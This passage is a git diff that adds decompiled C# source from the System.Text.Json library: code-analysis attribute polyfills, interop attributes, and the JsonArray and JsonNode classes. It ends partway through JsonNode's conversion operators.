b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/DynamicDependencyAttribute.cs new file mode 100644 index 0000000..5f8c00b --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/DynamicDependencyAttribute.cs @@ -0,0 +1,48 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Constructor | AttributeTargets.Method | AttributeTargets.Field, AllowMultiple = true, Inherited = false)] +internal sealed class DynamicDependencyAttribute : Attribute +{ + public string MemberSignature { get; } + + public DynamicallyAccessedMemberTypes MemberTypes { get; } + + public Type Type { get; } + + public string TypeName { get; } + + public string AssemblyName { get; } + + public string Condition { get; set; } + + public DynamicDependencyAttribute(string memberSignature) + { + MemberSignature = memberSignature; + } + + public DynamicDependencyAttribute(string memberSignature, Type type) + { + MemberSignature = memberSignature; + Type = type; + } + + public DynamicDependencyAttribute(string memberSignature, string typeName, string assemblyName) + { + MemberSignature = memberSignature; + TypeName = typeName; + AssemblyName = assemblyName; + } + + public DynamicDependencyAttribute(DynamicallyAccessedMemberTypes memberTypes, Type type) + { + MemberTypes = memberTypes; + Type = type; + } + + public DynamicDependencyAttribute(DynamicallyAccessedMemberTypes memberTypes, string typeName, string assemblyName) + { + MemberTypes = memberTypes; + TypeName = typeName; + AssemblyName = assemblyName; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/DynamicallyAccessedMemberTypes.cs b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/DynamicallyAccessedMemberTypes.cs new file mode 100644 index 0000000..0f286c3 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/DynamicallyAccessedMemberTypes.cs @@ -0,0 +1,22 @@ +namespace System.Diagnostics.CodeAnalysis; + +[Flags] +internal enum DynamicallyAccessedMemberTypes +{ + None = 0, + PublicParameterlessConstructor = 1, + PublicConstructors = 3, + NonPublicConstructors = 4, + PublicMethods = 8, + NonPublicMethods = 0x10, + PublicFields = 0x20, + NonPublicFields = 0x40, + PublicNestedTypes = 0x80, + NonPublicNestedTypes = 0x100, + PublicProperties = 0x200, + NonPublicProperties = 0x400, + PublicEvents = 0x800, + NonPublicEvents = 0x1000, + Interfaces = 0x2000, + All = -1 +} diff --git a/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/DynamicallyAccessedMembersAttribute.cs b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/DynamicallyAccessedMembersAttribute.cs new file mode 100644 index 0000000..2a41154 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/DynamicallyAccessedMembersAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Method | AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Interface | AttributeTargets.Parameter | AttributeTargets.ReturnValue | AttributeTargets.GenericParameter, Inherited = false)] +internal sealed class DynamicallyAccessedMembersAttribute : Attribute +{ + public DynamicallyAccessedMemberTypes MemberTypes { get; } + + public DynamicallyAccessedMembersAttribute(DynamicallyAccessedMemberTypes memberTypes) + { + MemberTypes = memberTypes; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs new file mode 100644 index 0000000..a25d17e --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter | AttributeTargets.ReturnValue, Inherited = false)] +internal sealed class MaybeNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs new file mode 100644 index 0000000..f637f90 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class MaybeNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public MaybeNullWhenAttribute(bool returnValue) + { + ReturnValue = returnValue; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs new file mode 100644 index 0000000..64cf83f --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs @@ -0,0 +1,17 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method | AttributeTargets.Property, Inherited = false, AllowMultiple = true)] +internal sealed class MemberNotNullAttribute : Attribute +{ + public string[] Members { get; } + + public MemberNotNullAttribute(string member) + { + Members = new string[1] { member }; + } + + public MemberNotNullAttribute(params string[] members) + { + Members = members; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs new file mode 100644 index 0000000..ee71d72 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs @@ -0,0 +1,21 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method | AttributeTargets.Property, Inherited = false, AllowMultiple = true)] +internal sealed class MemberNotNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public string[] Members { get; } + + public MemberNotNullWhenAttribute(bool returnValue, string member) + { + ReturnValue = returnValue; + Members = new string[1] { member }; + } + + public MemberNotNullWhenAttribute(bool returnValue, params string[] members) + { + ReturnValue = returnValue; + Members = members; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs new file mode 100644 index 0000000..d096bc2 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter | AttributeTargets.ReturnValue, Inherited = false)] +internal sealed class NotNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs new file mode 100644 index 0000000..e269971 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Parameter | AttributeTargets.ReturnValue, AllowMultiple = true, Inherited = false)] +internal sealed class NotNullIfNotNullAttribute : Attribute +{ + public string ParameterName { get; } + + public NotNullIfNotNullAttribute(string parameterName) + { + ParameterName = parameterName; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs new file mode 100644 index 0000000..8923436 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class NotNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public NotNullWhenAttribute(bool returnValue) + { + ReturnValue = returnValue; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/RequiresDynamicCodeAttribute.cs b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/RequiresDynamicCodeAttribute.cs new file mode 100644 index 0000000..3cb9da1 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/RequiresDynamicCodeAttribute.cs @@ -0,0 +1,14 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Class | AttributeTargets.Constructor | AttributeTargets.Method, Inherited = false)] +internal sealed class RequiresDynamicCodeAttribute : Attribute +{ + public string Message { get; } + + public string Url { get; set; } + + public RequiresDynamicCodeAttribute(string message) + { + Message = message; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/RequiresUnreferencedCodeAttribute.cs b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/RequiresUnreferencedCodeAttribute.cs new file mode 100644 index 0000000..378a943 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/RequiresUnreferencedCodeAttribute.cs @@ -0,0 +1,14 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Class | AttributeTargets.Constructor | AttributeTargets.Method, Inherited = false)] +internal sealed class RequiresUnreferencedCodeAttribute : Attribute +{ + public string Message { get; } + + public string Url { get; set; } + + public RequiresUnreferencedCodeAttribute(string message) + { + Message = message; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/StringSyntaxAttribute.cs b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/StringSyntaxAttribute.cs new file mode 100644 index 0000000..df8fc17 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/StringSyntaxAttribute.cs @@ -0,0 +1,45 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter, AllowMultiple = false, Inherited = false)] +internal sealed class StringSyntaxAttribute : Attribute +{ + public const string CompositeFormat = "CompositeFormat"; + + public const string DateOnlyFormat = "DateOnlyFormat"; + + public const string DateTimeFormat = "DateTimeFormat"; + + public const string EnumFormat = "EnumFormat"; + + public const string GuidFormat = "GuidFormat"; + + public const string Json = "Json"; + + public const string NumericFormat = "NumericFormat"; + + public const string Regex = "Regex"; + + public const string TimeOnlyFormat = "TimeOnlyFormat"; + + public const string TimeSpanFormat = "TimeSpanFormat"; + + public const string Uri = "Uri"; + + public const string Xml = "Xml"; + + public string Syntax { get; } + + public object[] Arguments { get; } + + public StringSyntaxAttribute(string syntax) + { + Syntax = syntax; + Arguments = Array.Empty(); + } + + public StringSyntaxAttribute(string syntax, params object[] arguments) + { + Syntax = syntax; + Arguments = arguments; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/UnconditionalSuppressMessageAttribute.cs b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/UnconditionalSuppressMessageAttribute.cs new file mode 100644 index 0000000..98817ea --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Diagnostics.CodeAnalysis/UnconditionalSuppressMessageAttribute.cs @@ -0,0 +1,23 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.All, Inherited = false, AllowMultiple = true)] +internal sealed class UnconditionalSuppressMessageAttribute : Attribute +{ + public string Category { get; } + + public string CheckId { get; } + + public string Scope { get; set; } + + public string Target { get; set; } + + public string MessageId { get; set; } + + public string Justification { get; set; } + + public UnconditionalSuppressMessageAttribute(string category, string checkId) + { + Category = category; + CheckId = checkId; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Runtime.CompilerServices/IsExternalInit.cs b/decompiled/Libraries/system.text.json/System.Runtime.CompilerServices/IsExternalInit.cs new file mode 100644 index 0000000..135465c --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Runtime.CompilerServices/IsExternalInit.cs @@ -0,0 +1,8 @@ +using System.ComponentModel; + +namespace System.Runtime.CompilerServices; + +[EditorBrowsable(EditorBrowsableState.Never)] +internal static class IsExternalInit +{ +} diff --git a/decompiled/Libraries/system.text.json/System.Runtime.CompilerServices/NullablePublicOnlyAttribute.cs b/decompiled/Libraries/system.text.json/System.Runtime.CompilerServices/NullablePublicOnlyAttribute.cs new file mode 100644 index 0000000..b1e6bfb --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Runtime.CompilerServices/NullablePublicOnlyAttribute.cs @@ -0,0 +1,16 @@ +using Microsoft.CodeAnalysis; + +namespace System.Runtime.CompilerServices; + +[CompilerGenerated] +[Embedded] +[AttributeUsage(AttributeTargets.Module, AllowMultiple = false, Inherited = false)] +internal sealed class NullablePublicOnlyAttribute : Attribute +{ + public readonly bool IncludesInternals; + + public NullablePublicOnlyAttribute(bool P_0) + { + IncludesInternals = P_0; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Runtime.InteropServices/LibraryImportAttribute.cs b/decompiled/Libraries/system.text.json/System.Runtime.InteropServices/LibraryImportAttribute.cs new file mode 100644 index 0000000..d549164 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Runtime.InteropServices/LibraryImportAttribute.cs @@ -0,0 +1,20 @@ +namespace System.Runtime.InteropServices; + +[AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] +internal sealed class LibraryImportAttribute : Attribute +{ + public string LibraryName { get; } + + public string EntryPoint { get; set; } + + public StringMarshalling StringMarshalling { get; set; } + + public Type StringMarshallingCustomType { get; set; } + + public bool SetLastError { get; set; } + + public LibraryImportAttribute(string libraryName) + { + LibraryName = libraryName; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Runtime.InteropServices/StringMarshalling.cs b/decompiled/Libraries/system.text.json/System.Runtime.InteropServices/StringMarshalling.cs new file mode 100644 index 0000000..b8bc953 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Runtime.InteropServices/StringMarshalling.cs @@ -0,0 +1,8 @@ +namespace System.Runtime.InteropServices; + +internal enum StringMarshalling +{ + Custom, + Utf8, + Utf16 +} diff --git a/decompiled/Libraries/system.text.json/System.Runtime.Versioning/RequiresPreviewFeaturesAttribute.cs b/decompiled/Libraries/system.text.json/System.Runtime.Versioning/RequiresPreviewFeaturesAttribute.cs new file mode 100644 index 0000000..221dfc5 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Runtime.Versioning/RequiresPreviewFeaturesAttribute.cs @@ -0,0 +1,18 @@ +namespace System.Runtime.Versioning; + +[AttributeUsage(AttributeTargets.Assembly | AttributeTargets.Module | AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Enum | AttributeTargets.Constructor | AttributeTargets.Method | AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Event | AttributeTargets.Interface | AttributeTargets.Delegate, Inherited = false)] +internal sealed class RequiresPreviewFeaturesAttribute : Attribute +{ + public string Message { get; } + + public string Url { get; set; } + + public RequiresPreviewFeaturesAttribute() + { + } + + public RequiresPreviewFeaturesAttribute(string message) + { + Message = message; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonArray.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonArray.cs new file mode 100644 index 0000000..aea10a4 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonArray.cs @@ -0,0 +1,373 @@ +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Text.Json.Serialization.Converters; +using System.Threading; + +namespace System.Text.Json.Nodes; + +[DebuggerDisplay("JsonArray[{List.Count}]")] +[DebuggerTypeProxy(typeof(DebugView))] +public sealed class JsonArray : JsonNode, IList, ICollection, IEnumerable, IEnumerable +{ + [ExcludeFromCodeCoverage] + private sealed class DebugView + { + [DebuggerDisplay("{Display,nq}")] + private struct DebugViewItem + { + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public JsonNode Value; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + public string Display + { + get + { + if (Value == null) + { + return "null"; + } + if (Value is JsonValue) + { + return Value.ToJsonString(); + } + if (Value is JsonObject jsonObject) + { + return $"JsonObject[{jsonObject.Count}]"; + } + JsonArray jsonArray = (JsonArray)Value; + return $"JsonArray[{jsonArray.List.Count}]"; + } + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + private readonly JsonArray _node; + + public string Json => _node.ToJsonString(); + + public string Path => _node.GetPath(); + + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + private DebugViewItem[] Items + { + get + { + DebugViewItem[] array = new DebugViewItem[_node.List.Count]; + for (int i = 0; i < _node.List.Count; i++) + { + array[i].Value = _node.List[i]; + } + return array; + } + } + + public DebugView(JsonArray node) + { + _node = node; + } + } + + private JsonElement? _jsonElement; + + private List _list; + + internal List List + { + get + { + List list = _list; + if (list == null) + { + return InitializeList(); + } + return list; + } + } + + public int Count => List.Count; + + bool ICollection.IsReadOnly => false; + + public JsonArray(JsonNodeOptions? options = null) + : base(options) + { + } + + public JsonArray(JsonNodeOptions options, params JsonNode?[] items) + : base(options) + { + InitializeFromArray(items); + } + + public JsonArray(params JsonNode?[] items) + { + InitializeFromArray(items); + } + + internal override JsonValueKind GetValueKindCore() + { + return JsonValueKind.Array; + } + + internal override JsonNode DeepCloneCore() + { + GetUnderlyingRepresentation(out var list, out var jsonElement); + if (list == null) + { + if (!jsonElement.HasValue) + { + return new JsonArray(base.Options); + } + return new JsonArray(jsonElement.Value.Clone(), base.Options); + } + JsonArray jsonArray = new JsonArray(base.Options) + { + _list = new List(list.Count) + }; + for (int i = 0; i < list.Count; i++) + { + jsonArray.Add(list[i]?.DeepCloneCore()); + } + return jsonArray; + } + + internal override bool DeepEqualsCore(JsonNode node) + { + if (node != null && !(node is JsonObject)) + { + if (!(node is JsonValue jsonValue)) + { + if (node is JsonArray jsonArray) + { + List list = List; + List list2 = jsonArray.List; + if (list.Count != list2.Count) + { + return false; + } + for (int i = 0; i < list.Count; i++) + { + if (!JsonNode.DeepEquals(list[i], list2[i])) + { + return false; + } + } + return true; + } + return false; + } + return jsonValue.DeepEqualsCore(this); + } + return false; + } + + internal int GetElementIndex(JsonNode node) + { + return List.IndexOf(node); + } + + public IEnumerable GetValues() + { + foreach (JsonNode item in List) + { + yield return (item == null) ? ((T)(object)null) : item.GetValue(); + } + } + + private void InitializeFromArray(JsonNode[] items) + { + List list = new List(items); + for (int i = 0; i < items.Length; i++) + { + items[i]?.AssignParent(this); + } + _list = list; + } + + public static JsonArray? Create(JsonElement element, JsonNodeOptions? options = null) + { + return element.ValueKind switch + { + JsonValueKind.Null => null, + JsonValueKind.Array => new JsonArray(element, options), + _ => throw new InvalidOperationException(System.SR.Format(System.SR.NodeElementWrongType, "Array")), + }; + } + + internal JsonArray(JsonElement element, JsonNodeOptions? options = null) + : base(options) + { + _jsonElement = element; + } + + [RequiresUnreferencedCode("Creating JsonValue instances with non-primitive types is not compatible with trimming. It can result in non-primitive types being serialized, which may have their members trimmed.")] + [RequiresDynamicCode("Creating JsonValue instances with non-primitive types requires generating code at runtime.")] + public void Add(T? value) + { + JsonNode item = JsonNode.ConvertFromValue(value, base.Options); + Add(item); + } + + internal JsonNode GetItem(int index) + { + return List[index]; + } + + internal void SetItem(int index, JsonNode value) + { + value?.AssignParent(this); + DetachParent(List[index]); + List[index] = value; + } + + internal override void GetPath(List path, JsonNode child) + { + if (child != null) + { + int num = List.IndexOf(child); + path.Add($"[{num}]"); + } + base.Parent?.GetPath(path, this); + } + + public override void WriteTo(Utf8JsonWriter writer, JsonSerializerOptions? options = null) + { + if (writer == null) + { + ThrowHelper.ThrowArgumentNullException("writer"); + } + GetUnderlyingRepresentation(out var list, out var jsonElement); + if (list == null && jsonElement.HasValue) + { + jsonElement.Value.WriteTo(writer); + return; + } + writer.WriteStartArray(); + foreach (JsonNode item in List) + { + if (item == null) + { + writer.WriteNullValue(); + } + else + { + item.WriteTo(writer, options); + } + } + writer.WriteEndArray(); + } + + private List InitializeList() + { + GetUnderlyingRepresentation(out var list, out var jsonElement); + if (list == null) + { + if (jsonElement.HasValue) + { + JsonElement value = jsonElement.Value; + list = new List(value.GetArrayLength()); + foreach (JsonElement item in value.EnumerateArray()) + { + JsonNode jsonNode = JsonNodeConverter.Create(item, base.Options); + jsonNode?.AssignParent(this); + list.Add(jsonNode); + } + } + else + { + list = new List(); + } + _list = list; + Interlocked.MemoryBarrier(); + _jsonElement = null; + } + return list; + } + + private void GetUnderlyingRepresentation(out List list, out JsonElement? jsonElement) + { + jsonElement = _jsonElement; + Interlocked.MemoryBarrier(); + list = _list; + } + + public void Add(JsonNode? item) + { + item?.AssignParent(this); + List.Add(item); + } + + public void Clear() + { + List list = _list; + if (list == null) + { + _jsonElement = null; + return; + } + for (int i = 0; i < list.Count; i++) + { + DetachParent(list[i]); + } + list.Clear(); + } + + public bool Contains(JsonNode? item) + { + return List.Contains(item); + } + + public int IndexOf(JsonNode? item) + { + return List.IndexOf(item); + } + + public void Insert(int index, JsonNode? item) + { + item?.AssignParent(this); + List.Insert(index, item); + } + + public bool Remove(JsonNode? item) + { + if (List.Remove(item)) + { + DetachParent(item); + return true; + } + return false; + } + + public void RemoveAt(int index) + { + JsonNode item = List[index]; + List.RemoveAt(index); + DetachParent(item); + } + + void ICollection.CopyTo(JsonNode[] array, int index) + { + List.CopyTo(array, index); + } + + public IEnumerator GetEnumerator() + { + return List.GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return ((IEnumerable)List).GetEnumerator(); + } + + private static void DetachParent(JsonNode item) + { + if (item != null) + { + item.Parent = null; + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonNode.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonNode.cs new file mode 100644 index 0000000..2533338 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonNode.cs @@ -0,0 +1,660 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.IO; +using System.Text.Json.Serialization.Converters; +using System.Text.Json.Serialization.Metadata; +using System.Threading; +using System.Threading.Tasks; + +namespace System.Text.Json.Nodes; + +public abstract class JsonNode +{ + private JsonNode _parent; + + private JsonNodeOptions? _options; + + public JsonNodeOptions? Options + { + get + { + if (!_options.HasValue && Parent != null) + { + _options = Parent.Options; + } + return _options; + } + } + + public JsonNode? Parent + { + get + { + return _parent; + } + internal set + { + _parent = value; + } + } + + public JsonNode Root + { + get + { + JsonNode parent = Parent; + if (parent == null) + { + return this; + } + while (parent.Parent != null) + { + parent = parent.Parent; + } + return parent; + } + } + + public JsonNode? this[int index] + { + get + { + return AsArray().GetItem(index); + } + set + { + AsArray().SetItem(index, value); + } + } + + public JsonNode? this[string propertyName] + { + get + { + return AsObject().GetItem(propertyName); + } + set + { + AsObject().SetItem(propertyName, value); + } + } + + internal JsonNode(JsonNodeOptions? options = null) + { + _options = options; + } + + public JsonArray AsArray() + { + JsonArray jsonArray = this as JsonArray; + if (jsonArray == null) + { + ThrowHelper.ThrowInvalidOperationException_NodeWrongType("JsonArray"); + } + return jsonArray; + } + + public JsonObject AsObject() + { + JsonObject jsonObject = this as JsonObject; + if (jsonObject == null) + { + ThrowHelper.ThrowInvalidOperationException_NodeWrongType("JsonObject"); + } + return jsonObject; + } + + public JsonValue AsValue() + { + JsonValue jsonValue = this as JsonValue; + if (jsonValue == null) + { + ThrowHelper.ThrowInvalidOperationException_NodeWrongType("JsonValue"); + } + return jsonValue; + } + + public string GetPath() + { + if (Parent == null) + { + return "$"; + } + List list = new List(); + GetPath(list, null); + StringBuilder stringBuilder = new StringBuilder("$"); + for (int num = list.Count - 1; num >= 0; num--) + { + stringBuilder.Append(list[num]); + } + return stringBuilder.ToString(); + } + + internal abstract void GetPath(List path, JsonNode child); + + public virtual T GetValue() + { + throw new InvalidOperationException(System.SR.Format(System.SR.NodeWrongType, "JsonValue")); + } + + public JsonNode DeepClone() + { + return DeepCloneCore(); + } + + internal abstract JsonNode DeepCloneCore(); + + public JsonValueKind GetValueKind() + { + return GetValueKindCore(); + } + + internal abstract JsonValueKind GetValueKindCore(); + + public string GetPropertyName() + { + JsonObject jsonObject = _parent as JsonObject; + if (jsonObject == null) + { + ThrowHelper.ThrowInvalidOperationException_NodeParentWrongType("JsonObject"); + } + return jsonObject.GetPropertyName(this); + } + + public int GetElementIndex() + { + JsonArray jsonArray = _parent as JsonArray; + if (jsonArray == null) + { + ThrowHelper.ThrowInvalidOperationException_NodeParentWrongType("JsonArray"); + } + return jsonArray.GetElementIndex(this); + } + + public static bool DeepEquals(JsonNode? node1, JsonNode? node2) + { + return node1?.DeepEqualsCore(node2) ?? (node2 == null); + } + + internal abstract bool DeepEqualsCore(JsonNode node); + + [RequiresUnreferencedCode("Creating JsonValue instances with non-primitive types is not compatible with trimming. It can result in non-primitive types being serialized, which may have their members trimmed.")] + [RequiresDynamicCode("Creating JsonValue instances with non-primitive types requires generating code at runtime.")] + public void ReplaceWith(T value) + { + JsonNode parent = _parent; + if (!(parent is JsonObject jsonObject)) + { + if (parent is JsonArray jsonArray) + { + JsonNode value2 = ConvertFromValue(value); + jsonArray.SetItem(GetElementIndex(), value2); + } + } + else + { + JsonNode value2 = ConvertFromValue(value); + jsonObject.SetItem(GetPropertyName(), value2); + } + } + + internal void AssignParent(JsonNode parent) + { + if (Parent != null) + { + ThrowHelper.ThrowInvalidOperationException_NodeAlreadyHasParent(); + } + for (JsonNode jsonNode = parent; jsonNode != null; jsonNode = jsonNode.Parent) + { + if (jsonNode == this) + { + ThrowHelper.ThrowInvalidOperationException_NodeCycleDetected(); + } + } + Parent = parent; + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + internal static JsonNode ConvertFromValue(T value, JsonNodeOptions? options = null) + { + if (value == null) + { + return null; + } + if (value is JsonNode result) + { + return result; + } + if (value is JsonElement element) + { + return JsonNodeConverter.Create(element, options); + } + JsonTypeInfo jsonTypeInfo = (JsonTypeInfo)JsonSerializerOptions.Default.GetTypeInfo(typeof(T)); + return new JsonValueCustomized(value, jsonTypeInfo, options); + } + + public static implicit operator JsonNode(bool value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode?(bool? value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode(byte value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode?(byte? value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode(char value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode?(char? value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode(DateTime value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode?(DateTime? value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode(DateTimeOffset value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode?(DateTimeOffset? value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode(decimal value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode?(decimal? value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode(double value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode?(double? value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode(Guid value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode?(Guid? value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode(short value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode?(short? value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode(int value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode?(int? value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode(long value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode?(long? value) + { + return JsonValue.Create(value); + } + + [CLSCompliant(false)] + public static implicit operator JsonNode(sbyte value) + { + return JsonValue.Create(value); + } + + [CLSCompliant(false)] + public static implicit operator JsonNode?(sbyte? value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode(float value) + { + return JsonValue.Create(value); + } + + public static implicit operator JsonNode?(float? value) + { + return JsonValue.Create(value); + } + + [return: NotNullIfNotNull("value")] + public static implicit operator JsonNode?(string? value) + { + return JsonValue.Create(value); + } + + [CLSCompliant(false)] + public static implicit operator JsonNode(ushort value) + { + return JsonValue.Create(value); + } + + [CLSCompliant(false)] + public static implicit operator JsonNode?(ushort? value) + { + return JsonValue.Create(value); + } + + [CLSCompliant(false)] + public static implicit operator JsonNode(uint value) + { + return JsonValue.Create(value); + } + + [CLSCompliant(false)] + public static implicit operator JsonNode?(uint? value) + { + return JsonValue.Create(value); + } + + [CLSCompliant(false)] + public static implicit operator JsonNode(ulong value) + { + return JsonValue.Create(value); + } + + [CLSCompliant(false)] + public static implicit operator JsonNode?(ulong? value) + { + return JsonValue.Create(value); + } + + public static explicit operator bool(JsonNode value) + { + return value.GetValue(); + } + + public static explicit operator bool?(JsonNode? value) + { + return value?.GetValue(); + } + + public static explicit operator byte(JsonNode value) + { + return value.GetValue(); + } + + public static explicit operator 